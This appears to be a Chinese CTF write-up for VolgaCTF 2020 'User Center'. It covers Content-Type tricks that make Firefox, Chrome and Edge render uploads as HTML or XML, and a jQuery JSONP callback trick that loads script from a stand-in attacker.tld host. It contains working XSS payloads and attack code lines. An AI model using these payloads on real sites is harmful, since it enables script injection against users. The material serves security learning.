zoukankan      html  css  js  c++  java
  • VolgaCTF 2020 Qualifier User Center

    mime绕过

    题目过滤了html xml xsl,且Content-Type必须包含/

    Firefox

    • 如果Content-Type标头不包含/字符,Firefox会尝试猜测文件类型。 此外,X-Content-Type-Options:nosniff在这种情况下无效,因为Firefox仅在尝试连接<script src =><link rel ="stylesheet" href =>中具有错误内容类型的文件时才使用它。

    • text/rdf被处理为xml

      Content-Type: text/rdf
      <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>
      
    • multipart/x-mixed-replace支持HTML(示例)
      如果缺少nosniff,Edge会处理类似于常规HTML的类型。

      Content-Type: multipart/x-mixed-replace;boundary=xxx
      
      xxx
      Content-Type:text/html
      
      <script>alert(document.domain)</script>
      xxx--
      
    • */*
      此时Firefox会猜测文件类型,无视X-Content-Type-Options:nosniff

    • text/plain;,text/html支持多种逗号分隔类型

      Content-Type: text/plain;,text/html
      
      <script>alert(document.domain)</script>
      

    Chrome

    • text/xsl被处理为xml

      Content-Type: text/xsl
      <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>
      
    • text/plain;,text/html支持多种逗号分隔类型

      Content-Type: text/plain;,text/html
      
      <script>alert(document.domain)</script>
      

    Edge

    • text/vtt被处理为html
      Content-Type: text/vtt
      <script>alert(document.domain)</script>
      

    JSONP实现跨域

    If the URL includes the string "callback=?" (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in $.ajax() for more details.

    因此,如果我们可以控制传递给$.getJSON的URL,就可以XSS

    callback的正则表达式更改:

    >  1.7.2 /(=)?(?=&|$)|??/
    <= 1.7.2 /(=)?(&|$)|??/i
    <= 1.5.1 /(=)?(&|$)|()??()/i
    <= 1.4.4 /=?(&|$)/
    <= 1.4.2 /=?(&|$)/
    <= 1.2.1 /=(?|%3F)/g
    <  1.2   not supported
    

    代码示例

    $.ajax({url:'https://attacker.tld/??', dataType:'json'});
    $.ajax({url:'https://attacker.tld/=?&', dataType:'json'});
    $.getJSON('https://attacker.tld??');
    $.getJSON('https://??.attacker.tld');
    

    $.getJSON('https://xxx.com?callback??');最后会被解析成https://xxx.com/?callbackjQueryxxx&_=[timestamp],然后将获取到的数据作为js执行

  • 相关阅读:
    warning: LF will be replaced by CRLF in ***. The file will have its original line endings in your working directory.
    GitHub出现Permissiondenied (publickey).
    浏览器编辑web页面的方法
    用scikit-learn进行LDA降维
    支持向量机原理(二) 线性支持向量机的软间隔最大化模型
    奇异值分解(SVD)原理与在降维中的应用
    scikit-learn K近邻法类库使用小结
    矩阵分解在协同过滤推荐算法中的应用
    精确率与召回率,RoC曲线与PR曲线
    异常点检测算法小结
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12606864.html
Copyright © 2011-2022 走看看